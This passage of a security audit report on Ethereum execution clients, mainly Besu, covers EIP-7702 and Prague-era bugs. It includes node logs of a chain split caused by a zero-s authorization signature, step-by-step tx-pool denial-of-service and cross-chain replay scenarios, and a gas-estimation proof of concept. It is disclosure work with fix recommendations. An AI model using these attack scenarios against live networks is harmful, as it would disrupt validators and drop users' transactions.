      "r": "0xd2fc238543fcc797d5db7ab6f867cc807bc0eb7b157a070ca7742c457495b388",
      "s": "0x0"
    }
  ],
  "input": "0x",
  "r": "0x282471964d7b5dc040c31d97fb80cbfb81a4a2e9b51dbc005fbac4daaf376a6e",
  "s": "0x178a7a7da744b3f49c325e13ee2dba6377c5dfd828b68339579c53e1e8108d7c",
  "yParity": "0x0",
  "v": "0x0",
  "hash": "0xff0845c517199ccf2d4f797dc005669dff5f35bbd3c8567abb00fcd8595c8194"
}
```


As you can see, the `s` value in the authorization is set to zero.

7. The logs show that `Besu` splits from the rest of the network at block 48.

- **Besu:**

```
2025-03-11 14:55:52.141+00:00 | vert.x-worker-thread-0 | INFO  | AbstractEngineNewPayload | Imported #47
↪  (adab1.....ad6ee)|    0 tx|  0 ws| 0 blobs| base fee   1.88 mwei| gas used           0 (  0.0%)|
↪  exec time 0.003s| mgas/s   0.00| peers:  2
2025-03-11 14:56:04.160+00:00 | vert.x-worker-thread-0 | ERROR | AbstractBlockProcessor | failed
↪  persisting block
java.lang.RuntimeException: World State Root does not match expected value, header
↪  0x86161345e057f27fe6206e81feca9ab12ec26c0a4bff716d05be08001918dba1 calculated
↪  0x98c59a134377808a8c1487a9d1542e9b662a9e2145e333f4ee507b86ad617789
      at org.hyperledger.besu.ethereum.trie.diffbased.common.worldview.DiffBasedWorldState.verifyWorldS
      ↪  tateRoot(DiffBasedWorldState.java:246)
      at org.hyperledger.besu.ethereum.trie.diffbased.common.worldview.DiffBasedWorldState.persist(Diff
      ↪  BasedWorldState.java:204)
      at org.hyperledger.besu.ethereum.mainnet.AbstractBlockProcessor.processBlock(AbstractBlockProcess
      ↪  or.java:273)
      at org.hyperledger.besu.ethereum.mainnet.AbstractBlockProcessor.processBlock(AbstractBlockProcess
      ↪  or.java:105)
      at org.hyperledger.besu.ethereum.mainnet.BlockProcessor.processBlock(BlockProcessor.java:78)
      at org.hyperledger.besu.ethereum.MainnetBlockValidator.processBlock(MainnetBlockValidator.java:25
      ↪  1)
      at org.hyperledger.besu.ethereum.MainnetBlockValidator.validateAndProcessBlock(MainnetBlockValida
      ↪  tor.java:171)
      at org.hyperledger.besu.ethereum.MainnetBlockValidator.validateAndProcessBlock(MainnetBlockValida
      ↪  tor.java:109)
      at org.hyperledger.besu.consensus.merge.blockcreation.MergeCoordinator.validateBlock(MergeCoordin
      ↪  ator.java:562)
      at org.hyperledger.besu.consensus.merge.blockcreation.MergeCoordinator.rememberBlock(MergeCoordin
      ↪  ator.java:592)
      at org.hyperledger.besu.consensus.merge.blockcreation.TransitionCoordinator.rememberBlock(Transit
      ↪  ionCoordinator.java:160)
      at org.hyperledger.besu.ethereum.api.jsonrpc.internal.methods.engine.AbstractEngineNewPayload.syn
      ↪  cResponse(AbstractEngineNewPayload.java:358)
      at org.hyperledger.besu.ethereum.api.jsonrpc.internal.methods.ExecutionEngineJsonRpcMethod.lambda
      ↪  $response$0(ExecutionEngineJsonRpcMethod.java:90)
      at io.vertx.core.impl.ContextImpl.lambda$executeBlocking$1(ContextImpl.java:191)
      at io.vertx.core.impl.ContextInternal.dispatch(ContextInternal.java:270)
      at io.vertx.core.impl.ContextImpl.lambda$internalExecuteBlocking$2(ContextImpl.java:210)
      at io.vertx.core.impl.TaskQueue.run(TaskQueue.java:76)
      at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144)
      at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
      at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30)
      at java.base/java.lang.Thread.run(Thread.java:1583)
2025-03-11 14:56:04.161+00:00 | vert.x-worker-thread-0 | INFO  | MainnetBlockValidator | Failed to
↪  process block 48 (0x5d7d998e71a4ba8eaa39f56ca6e89a5c30ad215cd3e5a35e1c2b0258d1e11c0c):
↪  Optional[World State Root does not match expected value, header
↪  0x86161345e057f27fe6206e81feca9ab12ec26c0a4bff716d05be08001918dba1 calculated
↪  0x98c59a134377808a8c1487a9d1542e9b662a9e2145e333f4ee507b86ad617789], caused by
↪  java.lang.RuntimeException: World State Root does not match expected value, header
↪  0x86161345e057f27fe6206e81feca9ab12ec26c0a4bff716d05be08001918dba1 calculated
↪  0x98c59a134377808a8c1487a9d1542e9b662a9e2145e333f4ee507b86ad617789
2025-03-11 14:56:04.162+00:00 | vert.x-worker-thread-0 | WARN  | AbstractEngineNewPayload | Invalid new
↪  payload: number: 48, hash: 0x5d7d998e71a4ba8eaa39f56ca6e89a5c30ad215cd3e5a35e1c2b0258d1e11c0c,
↪  parentHash: 0xadab172e9b5c9f12067379be5b565573c02609d61126e7882d15fcf8fafad6ee, latestValidHash:
↪  0xadab172e9b5c9f12067379be5b565573c02609d61126e7882d15fcf8fafad6ee, status: INVALID,
↪  validationError: World State Root does not match expected value, header
↪  0x86161345e057f27fe6206e81feca9ab12ec26c0a4bff716d05be08001918dba1 calculated
↪  0x98c59a134377808a8c1487a9d1542e9b662a9e2145e333f4ee507b86ad617789
2025-03-11 14:56:08.012+00:00 | vert.x-worker-thread-0 | INFO  | MergeCoordinator | Start building
↪  proposals for block 48 identified by 0x2be16fdc649c3aef
2025-03-11 14:56:08.022+00:00 | vert.x-worker-thread-0 | INFO  | AbstractEngineForkchoiceUpdated |
↪  FCU(VALID) | head: adab1.....ad6ee | finalized: 00000.....00000 | safeBlockHash: 00000.....00000
2025-03-11 14:56:19.734+00:00 | vert.x-worker-thread-0 | INFO  | AbstractEngineNewPayload | Imported #48
↪  (96e38.....660e6)|    1 tx|  0 ws| 0 blobs| base fee   1.65 mwei| gas used      46,000 (  0.2%)|
↪  exec time 0.005s| mgas/s   9.20| peers:  2
2025-03-11 14:56:32.011+00:00 | vert.x-worker-thread-0 | INFO  | MergeCoordinator | Start building
↪  proposals for block 49 identified by 0x0ec1a58e2cc872d7
2025-03-11 14:56:40.131+00:00 | vert.x-worker-thread-0 | INFO  | AbstractEngineNewPayload | Imported #49
↪  (635f8.....cf9ef)|    0 tx|  0 ws| 0 blobs| base fee   1.44 mwei| gas used           0 (  0.0%)|
↪  exec time 0.002s| mgas/s   0.00| peers:  2
```

- **Geth:**

```
INFO [03-11|14:55:52.164] Chain head was updated                    number=47 hash=adab17..fad6ee
↪  root=57151f..334acc elapsed="89.441s"
ERROR[03-11|14:55:52.164] Nil finalized block cannot evict old blobs
INFO [03-11|14:55:57.109] Looking for peers                         peercount=2 tried=98  static=0
INFO [03-11|14:56:04.155] Imported new potential chain segment      number=48 hash=5d7d99..e11c0c
↪  blocks=1 txs=1 mgas=0.046 elapsed="718.047s" mgasps=64.063 snapdiffs=12.79KiB triediffs=150.01KiB
↪  triedirty=0.00B
INFO [03-11|14:56:04.187] Chain head was updated                    number=48 hash=5d7d99..e11c0c
↪  root=861613..18dba1 elapsed="92.326s"
ERROR[03-11|14:56:04.188] Nil finalized block cannot evict old blobs
INFO [03-11|14:56:07.455] Looking for peers                         peercount=2 tried=10  static=0
WARN [03-11|14:56:19.770] Failed to load old bad blocks             error="pebble: not found"
ERROR[03-11|14:56:19.770]
**BAD BLOCK #########:** Block: 48 (0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6)
Error: invalid merkle root (remote: 59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d
↪  local: 9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0) dberr: %!w(<nil>)
Platform: geth v1.15.5-0.20250305105718-2645b4e0bf8e+dirty go1.24.1 amd64 linux
VCS: 2645b4e0-20250305
Chain config: &params.ChainConfig{ChainID:585858, HomesteadBlock:0, DAOForkBlock:<nil>,
↪  DAOForkSupport:false, EIP150Block:0, EIP155Block:0, EIP158Block:0, ByzantiumBlock:0,
↪  ConstantinopleBlock:0, PetersburgBlock:0, IstanbulBlock:0, MuirGlacierBlock:<nil>, BerlinBlock:0,
↪  LondonBlock:0, ArrowGlacierBlock:<nil>, GrayGlacierBlock:<nil>, MergeNetsplitBlock:0,
↪  ShanghaiTime:(*uint64)(0xc0000c2648), CancunTime:(*uint64)(0xc0000c2660),
↪  PragueTime:(*uint64)(0xc0000c2668), OsakaTime:(*uint64)(0xc0000c2680), VerkleTime:(*uint64)(nil),
↪  TerminalTotalDifficulty:0, DepositContractAddress:0x4242424242424242424242424242424242424242,
↪  EnableVerkleAtGenesis:false, Ethash:(*params.EthashConfig)(nil),
↪  Clique:(*params.CliqueConfig)(nil), BlobScheduleConfig:(*params.BlobScheduleConfig)(0xc0006ce220)}
Receipts:
  0: cumulative: 46000 gas: 46000 contract: 0x0000000000000000000000000000000000000000 status: 1 tx:
  ↪  0xff0845c517199ccf2d4f797dc005669dff5f35bbd3c8567abb00fcd8595c8194 logs: [] bloom:
  ↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
  ↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
  ↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
  ↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
  ↪  00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
  ↪  00000000000000000000000000 state:
**WARN [03-11|14:56:19.770] NewPayload: inserting block failed       error="invalid merkle root (remote:
↪  59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d local:
↪  9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0) dberr: %!w(<nil>)":** INFO
↪  [03-11|14:56:21.105] Looking for peers                          peercount=2 tried=60  static=0
INFO [03-11|14:56:28.137] Imported new potential chain segment      number=49 hash=5b530e..c7e1f3
↪  blocks=1 txs=0 mgas=0.000 elapsed="672.37s"  mgasps=0.000  snapdiffs=13.15KiB triediffs=154.57KiB
↪  triedirty=0.00B
INFO [03-11|14:56:28.153] Chain head was updated                    number=49 hash=5b530e..c7e1f3
↪  root=51b0eb..cb5deb elapsed="76.537s"
```

- **Nethermind:**

```
11 Mar 14:55:52 | Synced Chain Head to 47 (0xadab17...fad6ee)
11 Mar 14:55:52 | Received ForkChoice: 0xadab17...fad6ee, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
11 Mar 14:55:52 | Produced block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:55:52 | Improved post-merge block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:55:55 | Produced block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:55:55 | Improved post-merge block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:55:58 | Produced block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:55:58 | Improved post-merge block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:56:01 | Produced block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:56:01 | Improved post-merge block 48 (0x5d7d99...e11c0c), diff: 0, tx count: 1
11 Mar 14:56:04 | GetPayloadV4 result: 48 (0x5d7d99...e11c0c).
11 Mar 14:56:04 | Received New Block:  48 (0x5d7d99...e11c0c)      | limit    30,000,000    | Extra
↪  Data: Nethermind
11 Mar 14:56:04 | Processed                 48         |        1.7 ms  | slot         12,013 ms | Gas
↪  gwei: 0.00 .. 0.00 (0.00) .. 0.00
11 Mar 14:56:04 |  Block     0.0000 ETH    0.05 MGas    |        1   txs | calls          0 (  0) |
↪  sload       8 | sstore     10 | create   0
11 Mar 14:56:04 |  Block throughput       27.59 MGas/s  |      599.9 tps |           599.88 Blk/s |
↪  exec code  from cache       4 | new      0
11 Mar 14:56:04 | Received ForkChoice: 0x5d7d99...e11c0c, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
11 Mar 14:56:04 | Synced Chain Head to 48 (0x5d7d99...e11c0c)
11 Mar 14:56:19 | Received New Block:  48 (0x96e382...7660e6)      | limit    30,000,000    | Address:
↪  0x8943545177806ed17b9f23f0a21ee5948ecaa776
11 Mar 14:56:19 | Processed block 48 (0x3677ea...9273fe) is invalid:
```

```
11 Mar 14:56:19 | - hash: expected 0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6,
↪  got 0x3677eaec07e29477db37ff44605febddcbda8af372c9c972f3105ad63c9273fe
11 Mar 14:56:19 | - state root: expected
↪  0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↪  0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
11 Mar 14:56:19 | - block extra data : , UTF8:
11 Mar 14:56:19 | Rejected invalid block 48
↪  (0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6),  ExtraData: , reason: invalid
↪  block after processing
11 Mar 14:56:19 | Encountered exception Nethermind.Blockchain.InvalidBlockException: InvalidStateRoot:
↪  State root in header does not match. Expected
↪  0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↪  0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
  at Nethermind.Consensus.Processing.BlockProcessor.Process(Hash256 newBranchStateRoot, IReadOnlyList`1
  ↪  suggestedBlocks, ProcessingOptions options, IBlockTracer blockTracer) in
  ↪  /src/Nethermind/Nethermind.Consensus/Processing/BlockProcessor.cs:line 148 while processing
  ↪  blocks.
11 Mar 14:56:19 | Issue processing block Hash:
↪  0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6
Number: 48
Parent: 0xadab172e9b5c9f12067379be5b565573c02609d61126e7882d15fcf8fafad6ee
Beneficiary: 0x8943545177806ed17b9f23f0a21ee5948ecaa776
Gas Limit: 30000000
Gas Used: 46000
Timestamp: 1741704976
Extra Data:
Difficulty: 0
Mix Hash: 0x290163e22cb535a266911db2f8ad931a6209f4e54d1103df4a1fa364cf8f3670
Nonce: 0
Uncles Hash: 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
Tx Root: 0x1cb663a206138c4bcd9d839ba085a7263c41810a41a77ed0b0604fa5c6dce8fa
Receipts Root: 0x37480b665aeb118ed9bc63e8f9fa16d8b50763ad731aa8e53df8e5ba73098a7e
State Root: 0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d
BaseFeePerGas: 1645840
WithdrawalsRoot: 0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421
ParentBeaconBlockRoot: 0x5c374b9fd22700b3d713770798a748362c989466272ff726f6e62b29311df61b
BlobGasUsed: 0
ExcessBlobGas: 0
IsPostMerge: True
TotalDifficulty: 0
RequestsHash: 0xe3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Nethermind.Blockchain.InvalidBlockException: InvalidStateRoot: State root in header does not match.
↪  Expected 0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↪  0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
  at Nethermind.Consensus.Processing.BlockProcessor.Process(Hash256 newBranchStateRoot, IReadOnlyList`1
  ↪  suggestedBlocks, ProcessingOptions options, IBlockTracer blockTracer) in
  ↪  /src/Nethermind/Nethermind.Consensus/Processing/BlockProcessor.cs:line 148
  at Nethermind.Consensus.Processing.BlockchainProcessor.ProcessBranch(ProcessingBranch&
  ↪  processingBranch, ProcessingOptions options, IBlockTracer tracer, String& error)
11 Mar 14:56:19 | Created a RLP dump of invalid block
↪  0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6 in file
↪  /tmp/block_0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6.rlp
11 Mar 14:56:19 | Processed block 48 (0x3677ea...9273fe) is invalid:
11 Mar 14:56:19 | - hash: expected 0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6,
↪  got 0x3677eaec07e29477db37ff44605febddcbda8af372c9c972f3105ad63c9273fe
11 Mar 14:56:19 | - state root: expected
↪  0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↪  0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
11 Mar 14:56:19 | - block extra data : , UTF8:
11 Mar 14:56:19 | Rejected invalid block 48
↪  (0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6),  ExtraData: , reason: invalid
↪  block after processing
11 Mar 14:56:19 | Encountered exception Nethermind.Blockchain.InvalidBlockException: InvalidStateRoot:
↪  State root in header does not match. Expected
↪  0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↪  0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
  at Nethermind.Consensus.Processing.BlockProcessor.Process(Hash256 newBranchStateRoot, IReadOnlyList`1
  ↪  suggestedBlocks, ProcessingOptions options, IBlockTracer blockTracer) in
  ↪  /src/Nethermind/Nethermind.Consensus/Processing/BlockProcessor.cs:line 148 while processing
  ↪  blocks.
11 Mar 14:56:19 | Created a Receipts trace of invalid block
↪  0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6 in file
↪  /tmp/receipts_0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6.txt
11 Mar 14:56:19 | Deleting invalid block
↪  0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6 at level 48
```

```
11 Mar 14:56:19 | Rejected invalid block 48
↪  (0x96e382a77b6d02a2dbc8b474e65a0fa84f42da5e2fc0504d35d6b6932d7660e6),  ExtraData: , reason:
↪  InvalidStateRoot: State root in header does not match. Expected
↪  0x59714b3bc2c9a2bb540a591b0c2026e2ec7501d5139e948ed0b9af2a10ce7e6d, got
↪  0x9bbbf5283bf263421bc8ebb79e5c7927793aa2ef9d284369ed3ebe0ceef5dde0
11 Mar 14:56:19 | ***** JSON RPC report *****
-------------------------------------------------------------------------------------------------------┐
↪  ----------------
method                     | successes | avg (ms) | max (ms) | errors | avg (ms) | max (ms) | avg size
↪  B | total (kB) |
-------------------------------------------------------------------------------------------------------┘
↪  ----------------
engine_forkchoiceUpdatedV3 |        31 |    1.111 |    9.051 |      0 |    0.000 |    0.000 |
↪  203 |       6.13 |
engine_getPayloadV4        |         7 |    0.850 |    2.299 |      0 |    0.000 |    0.000 |
↪  1462 |      10.00 |
engine_newPayloadV3        |         6 |    3.647 |    5.072 |      0 |    0.000 |    0.000 |
↪  164 |       0.96 |
engine_newPayloadV4        |        18 |    4.136 |   14.459 |      0 |    0.000 |    0.000 |
↪  164 |       2.88 |
eth_getBlockByNumber       |        48 |    0.265 |    1.098 |      0 |    0.000 |    0.000 |
↪  1762 |      82.61 |
eth_getLogs                |        25 |    0.232 |    0.500 |      0 |    0.000 |    0.000 |
↪  38 |       0.93 |
-------------------------------------------------------------------------------------------------------┐
↪  ----------------
TOTAL                      |       135 |    1.150 |   14.459 |      0 |    0.000 |    0.000 |
↪  785 |     103.51 |
-------------------------------------------------------------------------------------------------------┘
↪  ----------------

11 Mar 14:56:23 | Received ForkChoice: 0x5d7d99...e11c0c, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
11 Mar 14:56:23 | Produced block 49 (0x5b530e...c7e1f3), diff: 0, tx count: 0
11 Mar 14:56:23 | Improved post-merge block 49 (0x5b530e...c7e1f3), diff: 0, tx count: 0
11 Mar 14:56:26 | Produced block 49 (0x5b530e...c7e1f3), diff: 0, tx count: 0
11 Mar 14:56:26 | Improved post-merge block 49 (0x5b530e...c7e1f3), diff: 0, tx count: 0
11 Mar 14:56:28 | GetPayloadV4 result: 49 (0x5b530e...c7e1f3).
11 Mar 14:56:28 | Received New Block:  49 (0x5b530e...c7e1f3)      | limit    30,000,000    | Extra
↪  Data: Nethermind
11 Mar 14:56:28 | Processed                  49         |        0.9 ms  | slot         20,401 ms |
11 Mar 14:56:28 |  Block     0.0000 ETH    0.00 MGas    |        0   txs | calls          0 (  0) |
↪  sload       8 | sstore     10 | create   0
11 Mar 14:56:28 |  Block throughput        0.00 MGas/s  |        0.0 tps |          1121.08 Blk/s |
↪  exec code  from cache       3 | new      0
11 Mar 14:56:28 | Received ForkChoice: 0x5b530e...c7e1f3, Safe: 0x000000...000000, Finalized:
↪  0x000000...000000
11 Mar 14:56:28 | Synced Chain Head to 49 (0x5b530e...c7e1f3)
```

Recommendation: Consider verifying that the `s` value of `EIP-7702` authorization signature is not equal to zero.

3.2.3 Besu lack of 7702 filters for tx-pool transactions allows tx-pool DoS

Submitted by guhu95

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Summary: The EIP recommends to implement tx-pool DoS protection from 7702 transactions:

> .. it becomes possible to cause transactions from other accounts to become stale. This is due to the fact that once an EOA has delegated to code, that code can be called by anyone at any point in a transaction ...
> ... the authors recommend that clients do not accept more than one pending transaction for any EOA with a non-zero delegation designator. This minimizes the number of transactions that can be invalidated by a single transaction.

Both Geth and Nethermind implement two filters:

- Senders filter: Allow only one tx from senders with auth (deployed or pending).
- Authorizations filter: Allow only one pending auth for any account.

Besu, however, lacks these filters, exposing its validators and RPC users to DoS. Besu only includes automatic invalidation of pending transactions from new authorizations in newly received blocks, which does not help with the risks mitigated by the recommended filters.

Finding Description: Example scenario:

- Deploy and fund multiple accounts A001...A500 with EIP-7702 delegations. Delegation is to a Sweeper contract that sweeps ETH to the attacker (or back).
- Submit transactions to the Besu nodes from these accounts with max base fee just below current level.
- Accounts have sufficient ETH so appear statically valid and are added to the pool. Each account can submit 200 consecutive nonces, taking up all 25MB allocated to the tx-pool. Calldata heavy transactions can be very large (even one account can fill up 25MB if each of their 200 txs is 125kb). Their price is irrelevant since they will be invalidated.
- All other legitimate pending transactions are evicted / replaced.
- A single transaction calling these accounts, included in the next slot, can sweep their ETH, or bump their nonce via EIP-7702, making them invalid and stale.

Impact Explanation:

- Besu validators are DoS-ed if any are scheduled to produce a block, since their pools contain no valid transaction to include.
- Users of Besu RPCs are DoS-ed, since their legitimate pending transactions will be discarded.
- L2 chain with Besu as sequencer will drop all pending user transaction, DoSing the whole L2 chain.

Likelihood Explanation: Given the protections implemented in other nodes, this only griefs Besu and Reth validators (similar issue) and users of Besu and Reth RPCs, which is about 10%+1% of network, so is likely not a profitable attack - thus low likelihood.

Recommendation: Implement the filters recommended in the EIP.

3.2.4 Besu allows cross-chain replays of 7702 to DoS pending transactions

Submitted by guhu95

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Summary: Besu includes automatic invalidation of pending transactions from new authorizations in newly received blocks.

However, since authorizations do not have to be valid (they are skipped during execution), the tx-pool is exposed to DoS via replay of past authorizations from other chains. This is because auth tuples nonces invalidate any pending txs from the sender.

Finding Description: Example scenario:

- User A,..,Z have code delegations on an L2 chain, for example Base.
  - The delegation can be chain specific, and so invalid on L1.
  - Or it can be chain agnostic, since the users' nonce on Base is higher than on ETH, due to users being more active there (due to low fees). So an auth tuple issued for Base will have a higher nonce than the user has on ETH (and so be invalid there).
- When these users have pending transactions in the mempool, an attacker can include, and repeatedly replay their Base auth on L1.
- Note that the attacker's transaction can do something unrelated (like trading or relaying) they would do anyway, and the auth will have no effect on their transaction other than adding 12500 gas per griefed user. This is because invalid auths are skipped (no-op).

- Besu will consider the max known nonce for each of those users to be bumped, and will remove all pending transactions from that user..
- Any time these user submit another transaction, the same authorization tuple can be replayed to drop their transactions.

Since many users have higher nonces on L2s (or other chains), any auths issued there (either chain-specifically, or chain-agnostically), will be invalid on L1 (until the nonce catches up), and can be used for this attack.

Impact Explanation:

- Users of Besu RPCs are DoS-ed, since their legitimate pending transactions can be discarded at will repeatedly if they used EIP-7702 on other chains.
- Besu validators are partially DoS-ed if any are scheduled to produce a block, since legitimate profitable transactions are dropped from their pools.
- L2 chains with Besu as sequencer will drop the targeted users' transactions, DoSing the users from transacting on that chain.

Likelihood Explanation: This only griefs users of Besu RPCs, which is about 10% of network, and costs some gas to the attacker - thus low likelihood. Might be higher likelihood for targeted accounts that perform some time sensitive functionality that would be included by a Besu validator.

Recommendation: Both of these validations are possible statically (do not require any state lookups):

- Check the chain id of the auth tuple to match the chain (or be 0).
- Check the tuple's nonce to not have a gap that is too large from the current nonce.

3.3 Informational

3.3.1 Besu native uses incorrect length for dispatching

Submitted by zigtur, also found by alexfilippov314 and JCdaisuki

Severity: Informational

Context: BLS12G1MultiExpPrecompiledContract.java#L24, LibGnarkEIP2537.java#L67-L68.

Description: The besu client uses the besu-native library for BLS cryptography operations. For the G1 MSM precompile, the besu-native library can use two functions depending on the input length:

```
case BLS12_G1MULTIEXP_OPERATION_SHIM_VALUE:
  // for pair count <= 2, use straight add/mul loop:
  if (i.length <= 192 * 2) {
    ret =  eip2537blsG1MultiExp(i, output, err, i_len,
        EIP2537_PREALLOCATE_FOR_RESULT_BYTES, EIP2537_PREALLOCATE_FOR_ERROR_BYTES);
  } else {
    ret = eip2537blsG1MultiExpParallel(i, output, err, i_len,
        EIP2537_PREALLOCATE_FOR_RESULT_BYTES, EIP2537_PREALLOCATE_FOR_ERROR_BYTES,
        degreeOfMSMParallelism);
  }
  o_len.setValue(128);
  break;
```

As we can see, the check is `i.length <= 192 * 2`. However, each element of G1 MSM is supposed to be 160 bytes and not 192. 160 corresponds to a G1 point (128 bytes) and a scalar (32 bytes).

Recommendation: The besu-native library should be fixed to use the `(i.length <= 160 * 2)` check instead.

3.3.2 `Besu` doesn't apply `EIP-7623` during gas estimation

Submitted by alexfilippov314

Severity: Informational

Context: MainnetTransactionProcessor.java#L555

Description: EIP-7623 increases calldata costs for data-heavy transactions. The issue arises from the fact that while Besu applies EIP-7623 during block processing, it does not apply it during gas estimation.

This happens due to passing gasUsedByTransaction to TransactionProcessResult in the MainnetTransactionProcessor.processTransaction function. One such occurrence is demonstrated in the referenced code. The gasUsedByTransaction value is computed as:

```
final long gasUsedByTransaction = transaction.getGasLimit() - initialFrame.getRemainingGas();
```

This value does not account for EIP-7623 and, therefore, might be off by a significant margin. The POC demonstrates a case where Besu returns a gas estimate of 659116, while the actual value is approximately 1630000. This issue could result in highly inaccurate responses to eth_estimateGas calls, potentially leading to fund losses for users relying on Besu nodes to set transaction gas limit values.

Proof of Concept: Run the following test with Besu and other execution clients:

```
package main

import (
    "context"
    "fmt"
    "testing"

    "github.com/ethereum/go-ethereum"
    "github.com/ethereum/go-ethereum/common"
    "github.com/ethereum/go-ethereum/ethclient"
    "github.com/stretchr/testify/require"
)

func TestPocBesuEstimateGasEip7623(t *testing.T) {
    // 1. Generate huge calldata
    data := make([]byte, 40000)
    for i := range data {
        data[i] = byte(i)
    }

    // 2. Prepare message
    msg := ethereum.CallMsg{
        To:   &common.Address{},
        From: common.Address{},
        Data: data,
    }

    // 3. Check the gas estimate for all RPCs. The RPCs correspond to Geth, Besu, and Nethermind nodes,
    ↪  respectively.
    rpcs := []string{"http://127.0.0.1:32913", "http://127.0.0.1:32918", "http://127.0.0.1:32923"}
    for _, rpc := range rpcs {
        client, err := ethclient.Dial(rpc)
        require.NoError(t, err)
        gas, err := client.EstimateGas(context.Background(), msg)
        require.NoError(t, err)
        fmt.Println(gas)
    }
}
```

In my case, the result looks as follows:

```
=== RUN   TestPocBesuEstimateGasEip7623
1630285
659116
1629578
--- PASS: TestPocBesuEstimateGasEip7623 (0.01s)
PASS
ok      github.com/alexfilippov314/gop  0.027s
```

Recommendation: I believe the historical reason for using this value as the gas estimate was to exclude gas refunds, which makes sense since refunds can only decrease the required gas limit. However, after implementing EIP-7623 in the PragueGasCalculator.calculateGasRefund function, this logic now seems problematic, as the required gas limit could be significantly greater than the estimate. Consider refactoring this logic to account for EIP-7623 in the gas estimate.

3.3.3 Besu incorrectly traces CALL* gas costs for 7702 delegations

Submitted by guhu95

Severity: Informational

Context: AbstractCallOperation.java#L252-L256

Description: Besu correctly charges gas for 7702 delegations by decrementing the delegation access cost `codeDelegationResolutionGas` , but it's then not accounted for in subsequent `OperationResult` return values, and when gas increments:

- Incorrect increment (AbstractCallOperation.java#L223).
- Incorrect `OperationResult` cost (OperationResult.java#L235).
- Incorrect increment (AbstractCallOperation.java#L253).
- Incorrect `OperationResult` cost (AbstractCallOperation.java#L256).

Because the increments and the result costs are **both** incorrect in exactly the same way, the inaccuracy cancels out, and all other decrements are always made safely, the final gas accounting check in `EVM.runToHalt` is consistent (and the code behind that check is unreachable in tests).

Impact: Currently, this only impacts the tracing outputs accuracy via EVM.java#L355, as explained in AbstractCallOperation.java#L221-L222.

However, if in the future, if another (unrelated) decrement would rely on that final `runToHalt` check, it can be tricked to fail or pass incorrectly by using the delegation decrements.

Recommendation:

```
  frame.decrementRemainingGas(codeDelegationResolutionGas);
+ cost += codeDelegationResolutionGas;
```